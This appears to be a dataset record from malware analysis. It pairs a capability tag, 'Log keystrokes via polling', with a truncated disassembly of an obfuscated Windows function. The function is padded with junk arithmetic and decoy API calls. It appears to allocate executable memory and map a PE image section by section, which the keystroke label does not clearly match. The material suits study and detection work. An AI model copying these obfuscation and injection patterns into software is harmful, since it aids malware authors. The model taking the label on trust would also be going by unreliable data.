Function at 0x405931
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xc4
movzx eax, byte [0x417048]
movzx eax, al
and eax, 0x95894f38
mov dword [0x417050], eax
mov eax, dword [0x417040]
xor eax, 0xe46823a9
mov dword [0x417040], eax
mov eax, dword [0x417040]
imul eax, eax, 0x4f8b0bda
mov dword [0x417050], eax
mov eax, dword [0x417040]
add eax, 0x1dd0282a
mov dword [0x417040], eax
mov eax, dword [0x417040]
and eax, 0x2b263849
mov dword [0x417044], eax
mov eax, dword [0x417040]
imul eax, eax, 0x773c3097
mov dword [0x417050], eax
mov dword [ebp - 0x2c], 0
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0x3caedb1
mov dword [0x417050], eax
mov byte [0x417048], 0xff
movzx eax, word [0x41704c]
add ax, 0x27e2
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0x830e790a
mov dword [0x417040], eax
mov dword [ebp - 0x30], 0
movzx eax, word [0x41704a]
movzx eax, ax
imul eax, eax, 0xbfe516cc
mov dword [0x417044], eax
mov eax, dword [0x417050]
or eax, 0x924b68ee
mov dword [0x417044], eax
mov eax, dword [0x417040]
and eax, 0x1b4df8d3
mov dword [0x417044], eax
mov eax, dword [0x417040]
add eax, 0xd
mov byte [0x417048], al
movzx eax, word [0x41704a]
movzx eax, ax
imul eax, eax, 0x7a62130e
mov dword [0x417044], eax
mov eax, dword [0x417044]
add eax, 0x3fbba2b
mov dword [0x417050], eax
mov eax, dword [0x417050]
or ax, 0x9d4c
mov word [0x41704c], ax
mov eax, dword [0x417050]
sub eax, 0x4bec1d
mov dword [0x417044], eax
mov dword [ebp - 0x34], 0
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0xf2bdf76e
mov dword [0x417044], eax
mov eax, dword [0x417040]
xor ax, 0x2c12
mov word [0x41704a], ax
movzx eax, word [0x41704a]
xor ax, 0x7c48
mov word [0x41704a], ax
movzx eax, word [0x41704a]
or ax, 0x9f06
mov word [0x41704c], ax
movzx eax, word [0x41704c]
and ax, 0xa2c1
mov word [0x41704a], ax
mov eax, dword [0x417044]
xor ax, 0x612e
mov word [0x41704a], ax
mov dword [ebp - 0x38], 0
movzx eax, byte [0x417048]
movzx eax, al
add eax, 0x22a88f5f
mov dword [0x417050], eax
movzx eax, byte [0x417048]
movzx eax, al
imul eax, eax, 0xa2b610fd
mov dword [0x417044], eax
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0x4e25f900
mov dword [0x417044], eax
movzx eax, word [0x41704a]
movzx eax, ax
or eax, 0xf8adc69a
mov dword [0x417050], eax
movzx eax, word [0x41704a]
movzx eax, ax
xor eax, 0x6e3ebbb6
mov dword [0x417044], eax
movzx eax, byte [0x417048]
movzx eax, al
add eax, 0x3158c9f8
mov dword [0x417040], eax
mov dword [ebp - 0x3c], 0
movzx eax, word [0x41704a]
and ax, 0x3d37
mov word [0x41704a], ax
mov eax, dword [0x417050]
sub ax, 0x155d
mov word [0x41704a], ax
mov eax, dword [0x417044]
add eax, 0x58e960d9
mov dword [0x417050], eax
mov eax, dword [0x417044]
imul eax, eax, 0xe16f735
mov dword [0x417040], eax
mov dword [ebp - 0xc], 0
mov dword [esp + 4], 0
mov dword [esp], 0x9b
mov eax, dword [sym.imp.USER32.dll_GetIconInfo]
call eax
sub esp, 8
mov eax, dword [0x417040]
or ax, 0x5e24
mov word [0x41704c], ax
mov eax, dword [0x417050]
or eax, 0x162cfb92
mov dword [0x417040], eax
movzx eax, word [0x41704c]
movzx eax, ax
add eax, 0x3e401a42
mov dword [0x417040], eax
mov eax, dword [0x417044]
add ax, 0x6768
mov word [0x41704a], ax
mov dword [ebp - 0x90], 0
mov eax, dword [0x417050]
imul eax, eax, 0x47c4b38f
mov dword [0x417040], eax
movzx eax, byte [0x417048]
movzx eax, al
or ax, 0xd379
mov word [0x41704a], ax
mov eax, dword [0x417040]
xor eax, 0xffffffa0
mov byte [0x417048], al
mov eax, dword [0x417050]
sub ax, 0x366e
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
imul ax, ax, 0x38fc
mov word [0x41704c], ax
movzx eax, word [0x41704a]
xor eax, 0x55
mov byte [0x417048], al
mov dword [ebp - 0x10], 0
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0xa29d3652
mov dword [0x417040], eax
movzx eax, byte [0x417048]
movzx eax, al
xor eax, 0x2ae804ae
mov dword [0x417044], eax
movzx eax, word [0x41704a]
movzx eax, ax
and eax, 0x7298980e
mov dword [0x417040], eax
mov dword [ebp - 0x40], 0
movzx eax, byte [0x417048]
movzx eax, al
and ax, 0x9df8
mov word [0x41704c], ax
mov eax, dword [0x417050]
and eax, 0x103426a1
mov dword [0x417040], eax
mov eax, dword [0x417040]
xor eax, 0x5415b96c
mov dword [0x417040], eax
movzx eax, byte [0x417048]
movzx eax, al
xor eax, 0xdf30cb1c
mov dword [0x417040], eax
movzx eax, word [0x41704c]
movzx eax, ax
or eax, 0x377eb0e0
mov dword [0x417044], eax
mov dword [esp], 0x8c
mov eax, dword [sym.imp.USER32.dll_IsWindow]
call eax
sub esp, 4
mov eax, dword [0x417040]
and ax, 0xcd00
mov word [0x41704c], ax
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0xebd0e3de
mov dword [0x417050], eax
mov dword [ebp - 0x44], 0
mov eax, dword [0x417050]
or ax, 0xfec1
mov word [0x41704a], ax
mov eax, dword [0x417050]
sub ax, 0x4f37
mov word [0x41704a], ax
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0xb5d77d39
mov dword [0x417050], eax
mov eax, dword [0x417044]
and eax, 0xffffffa1
mov byte [0x417048], al
mov dword [ebp - 0x48], 0
mov dword [esp], 0xdf
mov eax, dword [sym.imp.USER32.dll_GetSysColorBrush]
call eax
sub esp, 4
movzx eax, word [0x41704c]
and ax, 0xb03
mov word [0x41704c], ax
movzx eax, word [0x41704a]
sub eax, 0x5e
mov byte [0x417048], al
mov eax, dword [0x417050]
imul ax, ax, 0x7909
mov word [0x41704c], ax
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0
movzx eax, byte [0x417048]
movzx eax, al
and ax, 0xe0ca
mov word [0x41704c], ax
mov eax, dword [0x417040]
imul ax, ax, 0x9faf
mov word [0x41704a], ax
movzx eax, word [0x41704a]
or ax, 0xb0fd
mov word [0x41704c], ax
mov eax, dword [0x417044]
add ax, 0x502e
mov word [0x41704c], ax
mov eax, dword [0x417040]
or eax, 0xc2c0a04
mov dword [0x417040], eax
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp + 8]
mov edx, dword [eax]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
sub edx, eax
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0x158ebd6f
mov dword [0x417040], eax
mov eax, dword [0x417040]
xor eax, 0x7c64d411
mov dword [0x417050], eax
movzx eax, word [0x41704c]
or ax, 0xa97d
mov word [0x41704a], ax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x30]
mov edx, eax
mov eax, dword [ebp - 0x30]
mov dword [eax + 0x3c], edx
mov dword [ebp - 0x40], 0xffffffff
mov eax, dword [0x417044]
imul eax, eax, 0x66bdace9
mov dword [0x417044], eax
movzx eax, byte [0x417048]
and eax, 3
mov byte [0x417048], al
movzx eax, word [0x41704a]
movzx eax, ax
and eax, 0xf3254120
mov dword [0x417040], eax
movzx eax, byte [0x417048]
movzx eax, al
and eax, 0xffaed0d6
mov dword [0x417050], eax
mov eax, dword [0x417040]
xor eax, 0x357be606
mov dword [0x417050], eax
movzx eax, byte [0x417048]
xor eax, 0xffffff99
mov byte [0x417048], al
mov eax, dword [0x417040]
add eax, 0x62
mov byte [0x417048], al
mov eax, dword [0x417040]
or eax, 0x28af4e1
mov dword [0x417050], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x90], eax
mov eax, dword [0x417044]
or eax, 0x90d4a1cb
mov dword [0x417040], eax
mov eax, dword [0x417044]
add eax, 0x113bac39
mov dword [0x417044], eax
mov eax, dword [0x417050]
sub eax, 0x55
mov word [0x41704a], ax
movzx eax, word [0x41704c]
xor ax, 0x855f
mov word [0x41704c], ax
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], 0x3000
lea eax, [ebp - 0xa4]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0x90]
mov dword [esp + 4], eax
mov dword [esp], 0xffffffff
call fcn.00408f0d
mov dword [ebp - 0x50], eax
mov eax, dword [0x417040]
sub eax, 0x6f
mov byte [0x417048], al
mov eax, dword [0x417050]
or eax, 0x8e94cf1b
mov dword [0x417040], eax
mov eax, dword [0x417040]
add eax, 0xb
mov byte [0x417048], al
movzx eax, word [0x41704a]
mov edx, 0x55
imul eax, edx
mov byte [0x417048], al
movzx eax, word [0x41704c]
movzx eax, ax
xor eax, 0x6e31ac73
mov dword [0x417040], eax
mov eax, dword [0x417040]
add eax, 0x37
mov byte [0x417048], al
movzx eax, word [0x41704c]
imul ax, ax, 0x755e
mov word [0x41704c], ax
cmp dword [ebp - 0x50], 0
je 0x406257
mov eax, dword [0x417044]
sub ax, 0x7317
mov word [0x41704a], ax
mov eax, dword [0x417040]
add eax, 0x1ce43318
mov dword [0x417050], eax
mov eax, dword [0x417044]
sub eax, 0x5361150b
mov dword [0x417040], eax
mov eax, dword [0x417044]
or eax, 0x5a35b47f
mov dword [0x417044], eax
movzx eax, word [0x41704c]
and eax, 0xffffffb4
mov byte [0x417048], al
mov eax, dword [0x417044]
add eax, 0x66823947
mov dword [0x417040], eax
mov eax, dword [0x417044]
imul eax, eax, 0x8b92cac
mov dword [0x417040], eax
movzx eax, word [0x41704a]
movzx eax, ax
or eax, 0x56d50ea2
mov dword [0x417044], eax
mov eax, dword [0x417044]
or eax, 0x71
mov byte [0x417048], al
mov eax, dword [0x417050]
sub ax, 0x4522
mov word [0x41704a], ax
mov dword [esp], 2
mov eax, dword [sym.imp.USER32.dll_GetSysColorBrush]
call eax
sub esp, 4
mov eax, dword [0x417044]
sub ax, 0x6e22
mov word [0x41704c], ax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x90], 0
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], 0x3000
lea eax, [ebp - 0xa4]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0x90]
mov dword [esp + 4], eax
mov dword [esp], 0xffffffff
call fcn.00408f0d
mov dword [ebp - 0x50], eax
mov eax, dword [0x417050]
and eax, 0x86164dfd
mov dword [0x417050], eax
movzx eax, word [0x41704a]
movzx eax, ax
xor eax, 0x4a5d8811
mov dword [0x417050], eax
mov eax, dword [0x417040]
xor eax, 0x33e3ea54
mov dword [0x417044], eax
mov eax, dword [0x417040]
sub eax, 0x7fe0d8c2
mov dword [0x417040], eax
movzx eax, word [0x41704c]
add ax, 0x36e3
mov word [0x41704a], ax
mov eax, dword [0x417040]
add eax, 0x36
mov byte [0x417048], al
cmp dword [ebp - 0x50], 0
je 0x406257
movzx eax, word [0x41704a]
xor ax, 0x62ba
mov word [0x41704c], ax
mov eax, dword [0x417044]
and eax, 0xd2d77973
mov dword [0x417040], eax
mov eax, dword [0x417040]
imul ax, ax, 0x3e9
mov word [0x41704c], ax
mov eax, dword [0x417050]
and ax, 0xdb96
mov word [0x41704c], ax
movzx eax, word [0x41704c]
movzx eax, ax
add eax, 0x7ddecaaa
mov dword [0x417044], eax
mov eax, dword [0x417044]
or eax, 0xe14391a4
mov dword [0x417040], eax
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0x41b79d3f
mov dword [0x417050], eax
movzx eax, word [0x41704a]
movzx eax, ax
and eax, 0xab138953
mov dword [0x417050], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
jmp 0x407f5d
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x90]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call fcn.00413a36
mov dword [ebp - 0x50], eax
movzx eax, word [0x41704a]
movzx eax, ax
imul eax, eax, 0x160d8f00
mov dword [0x417050], eax
movzx eax, word [0x41704a]
movzx eax, ax
imul eax, eax, 0x26fe0245
mov dword [0x417050], eax
movzx eax, byte [0x417048]
movzx eax, al
xor eax, 0x996e6c6a
mov dword [0x417044], eax
movzx eax, byte [0x417048]
sub eax, 0x28
mov byte [0x417048], al
mov eax, dword [0x417040]
xor ax, 0x21d8
mov word [0x41704a], ax
mov dword [esp], 0xca
mov eax, dword [sym.imp.USER32.dll_IsWindow]
call eax
sub esp, 4
cmp dword [ebp - 0x50], 0
je 0x4063e4
movzx eax, byte [0x417048]
movzx eax, al
sub ax, 0x7548
mov word [0x41704a], ax
movzx eax, word [0x41704c]
xor ax, 0x3c21
mov word [0x41704c], ax
mov eax, dword [0x417040]
and eax, 0xffffffc5
mov byte [0x417048], al
mov eax, dword [0x417050]
add eax, 0xf95454d
mov dword [0x417050], eax
mov eax, dword [0x417040]
sub ax, 0x5b63
mov word [0x41704c], ax
movzx eax, word [0x41704c]
sub eax, 0x45
mov byte [0x417048], al
mov eax, dword [ebp - 0x90]
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, dword [0x417044]
and ax, 0xcbe9
mov word [0x41704c], ax
movzx eax, word [0x41704a]
movzx eax, ax
imul eax, eax, 0xf6ac5214
mov dword [0x417040], eax
movzx eax, word [0x41704a]
add ax, 0x1911
mov word [0x41704c], ax
movzx eax, word [0x41704c]
mov edx, 0x74
imul eax, edx
mov byte [0x417048], al
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
jmp 0x407f5d
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x28]
mov edx, eax
mov eax, dword [ebp - 0x2c]
add eax, edx
mov dword [ebp - 0xc], eax
movzx eax, byte [0x417048]
movzx eax, al
and ax, 0xa639
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
add eax, 0x1e58d146
mov dword [0x417044], eax
mov eax, dword [0x417040]
add eax, 0x20df1e08
mov dword [0x417040], eax
mov eax, dword [0x417040]
and ax, 0xf35b
mov word [0x41704a], ax
movzx eax, word [0x41704c]
movzx eax, ax
xor eax, 0x3b27e6a2
mov dword [0x417050], eax
mov eax, dword [0x417050]
xor ax, 0xd21
mov word [0x41704c], ax
mov eax, dword [0x417050]
or eax, 0x22b69f2d
mov dword [0x417044], eax
mov eax, dword [0x417050]
imul eax, eax, 0x3c4e4d92
mov dword [0x417050], eax
mov dword [ebp - 0x10], 0
jmp 0x40667c
movzx eax, word [0x41704a]
or ax, 0xedc8
mov word [0x41704a], ax
mov eax, dword [0x417050]
or ax, 0x59e9
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
and eax, 0xf4cd398e
mov dword [0x417040], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0xc]
mov ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov ebx, dword [ebp - 0x90]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 0xc]
add edx, ebx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call fcn.00413a36
mov dword [ebp - 0x50], eax
movzx eax, word [0x41704c]
xor ax, 0xc44b
mov word [0x41704c], ax
mov eax, dword [0x417050]
or eax, 0xffffffbf
mov byte [0x417048], al
mov eax, dword [0x417040]
xor eax, 0x15
mov byte [0x417048], al
mov eax, dword [0x417044]
and ax, 0x264e
mov word [0x41704a], ax
movzx eax, word [0x41704a]
movzx eax, ax
and eax, 0x98e4ea1
mov dword [0x417044], eax
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0xbd743b56
mov dword [0x417050], eax
mov eax, dword [0x417040]
imul ax, ax, 0x7047
mov word [0x41704c], ax
movzx eax, byte [0x417048]
movzx eax, al
or ax, 0x65a3
mov word [0x41704c], ax
cmp dword [ebp - 0x50], 0
je 0x406674
movzx eax, byte [0x417048]
movzx eax, al
or ax, 0x1467
mov word [0x41704a], ax
mov eax, dword [0x417050]
add ax, 0x7797
mov word [0x41704c], ax
mov eax, dword [0x417050]
or ax, 0x26a6
mov word [0x41704a], ax
movzx eax, word [0x41704c]
add eax, 0x6d
mov byte [0x417048], al
mov eax, dword [0x417040]
sub eax, 0x2409eadb
mov dword [0x417044], eax
movzx eax, word [0x41704a]
or eax, 0xffffffd2
mov byte [0x417048], al
movzx eax, byte [0x417048]
movzx eax, al
add ax, 0x28e
mov word [0x41704a], ax
mov eax, dword [ebp - 0x90]
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
movzx eax, word [0x41704a]
and eax, 0xffffff8e
mov byte [0x417048], al
mov dword [esp + 4], 0
mov dword [esp], 0x79
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [0x417044]
xor eax, 0xcc9cb16d
mov dword [0x417040], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
jmp 0x407f5d
add dword [ebp - 0x10], 1
add dword [ebp - 0xc], 0x28
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x10]
cmp dword [ebp - 0x10], eax
jne 0x406488
mov eax, dword [0x417050]
and eax, 0xddc60a1a
mov dword [0x417040], eax
movzx eax, word [0x41704a]
add ax, 0xf7c
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
sub eax, 0x140a4506
mov dword [0x417040], eax
movzx eax, word [0x41704a]
movzx eax, ax
and eax, 0x7ff24da6
mov dword [0x417050], eax
movzx eax, word [0x41704c]
movzx eax, ax
or eax, 0x19a8301b
mov dword [0x417040], eax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xc]
neg eax
add eax, edx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1c]
mov ecx, eax
mov eax, dword [ebp + 8]
mov edx, dword [eax]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
add eax, edx
add eax, ecx
mov dword [ebp - 0x9c], eax
movzx eax, word [0x41704a]
movzx eax, ax
or eax, 0x7cb5b84f
mov dword [0x417050], eax
movzx eax, byte [0x417048]
movzx eax, al
add ax, 0x3094
mov word [0x41704c], ax
movzx eax, byte [0x417048]
movzx eax, al
sub ax, 0x40b9
mov word [0x41704c], ax
mov eax, dword [0x417044]
or eax, 0x51f9cb76
mov dword [0x417040], eax
mov eax, dword [0x417044]
mov edx, 0x5d
imul eax, edx
mov byte [0x417048], al
mov eax, dword [0x417050]
xor ax, 0x56ae
mov word [0x41704a], ax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x8d
mov eax, dword [sym.imp.USER32.dll_RedrawWindow]
call eax
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x58]
add eax, 0x28
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x98], eax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x58]
add eax, 8
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x94], eax
mov eax, dword [0x417044]
sub eax, 0x65
mov byte [0x417048], al
mov eax, dword [0x417050]
add eax, 0x6b
mov byte [0x417048], al
movzx eax, word [0x41704c]
imul ax, ax, 0xd5d7
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
xor ax, 0x5c44
mov word [0x41704c], ax
mov eax, dword [0x417050]
sub ax, 0x5fa6
mov word [0x41704a], ax
mov eax, dword [0x417040]
and ax, 0x33b1
mov word [0x41704a], ax
movzx eax, word [0x41704a]
movzx eax, ax
and eax, 0xa259ddfb
mov dword [0x417050], eax
mov dword [ebp - 0x5c], 0
mov eax, dword [0x417050]
xor ax, 0xc62c
mov word [0x41704a], ax
movzx eax, word [0x41704c]
imul ax, ax, 0xa9e0
mov word [0x41704a], ax
movzx eax, word [0x41704a]
movzx eax, ax
or eax, 0x692292c7
mov dword [0x417044], eax
mov eax, dword [0x417044]
or eax, 0x35a664f4
mov dword [0x417050], eax
mov dword [esp + 4], 0
mov dword [esp], 0x90
mov eax, dword [sym.imp.USER32.dll_GetSystemMenu]
call eax
sub esp, 8
movzx eax, word [0x41704a]
movzx eax, ax
and eax, 0x2f79bcfb
mov dword [0x417044], eax
mov dword [ebp - 0x60], 0
movzx eax, byte [0x417048]
movzx eax, al
sub eax, 0x26b19ccb
mov dword [0x417050], eax
mov eax, dword [0x417040]
or eax, 0xffffff9c
mov byte [0x417048], al
mov eax, dword [0x417050]
imul eax, eax, 0x7f24ed4e
mov dword [0x417050], eax
mov dword [ebp - 0x64], 0
movzx eax, word [0x41704c]
xor ax, 0x736
mov word [0x41704c], ax
mov eax, dword [0x417050]
and eax, 0xffffffe3
mov byte [0x417048], al
mov eax, dword [0x417040]
sub eax, 0x561094bb
mov dword [0x417050], eax
movzx eax, word [0x41704a]
add ax, 0x7745
mov word [0x41704c], ax
mov eax, dword [0x417040]
or ax, 0x8d17
mov word [0x41704c], ax
movzx eax, word [0x41704a]
movzx eax, ax
imul eax, eax, 0xd1387248
mov dword [0x417050], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x14], eax
mov eax, dword [0x417050]
and ax, 0x7fa0
mov word [0x41704c], ax
movzx eax, word [0x41704c]
movzx eax, ax
sub eax, 0x1839c3e4
mov dword [0x417050], eax
mov eax, dword [0x417040]
xor eax, 0xc7628985
mov dword [0x417050], eax
movzx eax, word [0x41704c]
movzx eax, ax
xor eax, 0xbbd822f2
mov dword [0x417044], eax
movzx eax, byte [0x417048]
movzx eax, al
add ax, 0x6fbc
mov word [0x41704c], ax
movzx eax, word [0x41704a]
xor eax, 0xffffff97
mov byte [0x417048], al
mov dword [ebp - 0x18], 0
movzx eax, byte [0x417048]
movzx eax, al
add eax, 0x374ba334
mov dword [0x417040], eax
mov eax, dword [0x417040]
xor eax, 0xffffff98
mov byte [0x417048], al
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0x78fd814e
mov dword [0x417044], eax
movzx eax, word [0x41704a]
movzx eax, ax
sub eax, 0x3480cf30
mov dword [0x417040], eax
movzx eax, word [0x41704c]
mov edx, 0xe
imul eax, edx
mov byte [0x417048], al
movzx eax, word [0x41704c]
xor eax, 0xffffff95
mov byte [0x417048], al
movzx eax, word [0x41704a]
movzx eax, ax
and eax, 0x9764e2cd
mov dword [0x417040], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x2c]
mov edx, eax
mov eax, dword [ebp - 0x90]
add eax, edx
mov dword [ebp - 0x68], eax
movzx eax, word [0x41704a]
or eax, 0x22
mov byte [0x417048], al
mov eax, dword [0x417040]
or ax, 0x4ebf
mov word [0x41704c], ax
movzx eax, word [0x41704a]
sub ax, 0x7378
mov word [0x41704c], ax
mov eax, dword [0x417050]
or eax, 0xfb426c08
mov dword [0x417050], eax
mov eax, dword [0x417040]
or eax, 0x7b0915d4
mov dword [0x417044], eax
mov eax, dword [0x417044]
add eax, 0x442b668e
mov dword [0x417044], eax
mov eax, dword [0x417050]
sub ax, 0x73a7
mov word [0x41704c], ax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x58]
add eax, 0x48
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x6c], eax
movzx eax, byte [0x417048]
movzx eax, al
add ax, 0x4eb6
mov word [0x41704a], ax
mov eax, dword [0x417044]
add eax, 0x66
mov byte [0x417048], al
mov eax, dword [0x417040]
add ax, 0x15fe
mov word [0x41704c], ax
movzx eax, word [0x41704c]
add eax, 0x2f
mov byte [0x417048], al
mov dword [ebp - 0x1c], 0
mov eax, dword [0x417040]
or ax, 0x4994
mov word [0x41704a], ax
mov eax, dword [0x417040]
imul eax, eax, 0x1beeab49
mov dword [0x417040], eax
mov eax, dword [0x417044]
or eax, 0xffffffb1
mov byte [0x417048], al
movzx eax, byte [0x417048]
movzx eax, al
or ax, 0xf6db
mov word [0x41704c], ax
movzx eax, byte [0x417048]
movzx eax, al
imul ax, ax, 0x292
mov word [0x41704a], ax
mov dword [ebp - 0x20], 0
movzx eax, word [0x41704a]
movzx eax, ax
or eax, 0x7a6a487b
mov dword [0x417050], eax
mov eax, dword [0x417044]
xor ax, 0x9232
mov word [0x41704a], ax
mov eax, dword [0x417044]
add eax, 0x493c2fd0
mov dword [0x417044], eax
mov dword [ebp - 0x70], 0
movzx eax, word [0x41704c]
xor eax, 0x3e
mov byte [0x417048], al
mov eax, dword [0x417044]
add eax, 0x6f49c5ad
mov dword [0x417044], eax
mov dword [esp], 0x18
mov eax, dword [sym.imp.USER32.dll_GetSysColorBrush]
call eax
sub esp, 4
mov eax, dword [0x417044]
xor eax, 0x73f82970
mov dword [0x417044], eax
mov dword [ebp - 0x74], 0
mov eax, dword [0x417050]
or eax, 0xcbc115c5
mov dword [0x417040], eax
mov eax, dword [0x417044]
sub eax, 0x3f
mov byte [0x417048], al
mov dword [esp], 0xb2
mov eax, dword [sym.imp.USER32.dll_IsWindow]
call eax
sub esp, 4
movzx eax, word [0x41704c]
movzx eax, ax
imul eax, eax, 0xde348c25
mov dword [0x417040], eax
movzx eax, byte [0x417048]
movzx eax, al
sub ax, 0x6db5
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
sub eax, 0x32968b32
mov dword [0x417044], eax
movzx eax, byte [0x417048]
movzx eax, al
and eax, 0x2a11dff9
mov dword [0x417050], eax
movzx eax, word [0x41704c]
or eax, 0xb
mov byte [0x417048], al
mov dword [ebp - 0x24], 0
mov eax, dword [0x417040]
or eax, 0x89817fd7
mov dword [0x417044], eax
movzx eax, byte [0x417048]
movzx eax, al
or ax, 0xca40
mov word [0x41704a], ax
mov eax, dword [0x417044]
add eax, 0x546d387
mov dword [0x417044], eax
mov eax, dword [0x417044]
and eax, 0x814f1d2f
mov dword [0x417040], eax
movzx eax, word [0x41704a]
or eax, 0x75
mov byte [0x417048], al
cmp dword [ebp - 0x54], 0
je 0x4071f6
movzx eax, word [0x41704c]
and ax, 0xed38
mov word [0x41704a], ax
mov eax, dword [0x417040]
or eax, 0x265427f8
mov dword [0x417044], eax
mov byte [0x417048], 0
mov eax, dword [0x417044]
or ax, 0xfde3
mov word [0x41704c], ax
mov eax, dword [0x417040]
and eax, 0xe2f0b670
mov dword [0x417044], eax
movzx eax, word [0x41704a]
sub ax, 0x257e
mov word [0x41704a], ax
movzx eax, word [0x41704c]
or ax, 0xa9af
mov word [0x41704a], ax
mov eax, dword [0x417040]
imul ax, ax, 0x1060
mov word [0x41704c], ax
mov eax, dword [0x417044]
add ax, 0x578e
mov word [0x41704c], ax
mov eax, dword [0x417050]
add eax, 0x245d02ff
mov dword [0x417050], eax
movzx eax, word [0x41704c]
imul ax, ax, 0x9054
mov word [0x41704c], ax
mov eax, dword [ebp - 0x68]
add eax, 0x28
mov eax, dword [eax + 4]
test eax, eax
je 0x4071f6
movzx eax, word [0x41704c]
add ax, 0x5b34
mov word [0x41704c], ax
mov eax, dword [0x417050]
imul eax, eax, 0x1a3268bc
mov dword [0x417050], eax
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0x4e80786a
mov dword [0x417044], eax
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0xb3cac531
mov dword [0x417050], eax
movzx eax, word [0x41704a]
movzx eax, ax
or eax, 0x50bc892a
mov dword [0x417050], eax
movzx eax, word [0x41704c]
movzx eax, ax
xor eax, 0xc9458255
mov dword [0x417044], eax
movzx eax, word [0x41704c]
sub eax, 0x71
mov byte [0x417048], al
mov dword [esp], 0x33
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
sub esp, 4
mov eax, dword [0x417050]
imul ax, ax, 0x75e2
mov word [0x41704a], ax
movzx eax, word [0x41704c]
sub ax, 0x5439
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
and eax, 0xf00bdaca
mov dword [0x417040], eax
jmp 0x4071e9
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0xb3c47947
mov dword [0x417040], eax
mov eax, dword [0x417044]
and eax, 0x46ceb19c
mov dword [0x417050], eax
movzx eax, word [0x41704a]
or ax, 0xbd7
mov word [0x41704c], ax
mov eax, dword [0x417040]
or eax, 0xb03758c9
mov dword [0x417050], eax
movzx eax, word [0x41704c]
movzx eax, ax
imul eax, eax, 0x402d80c3
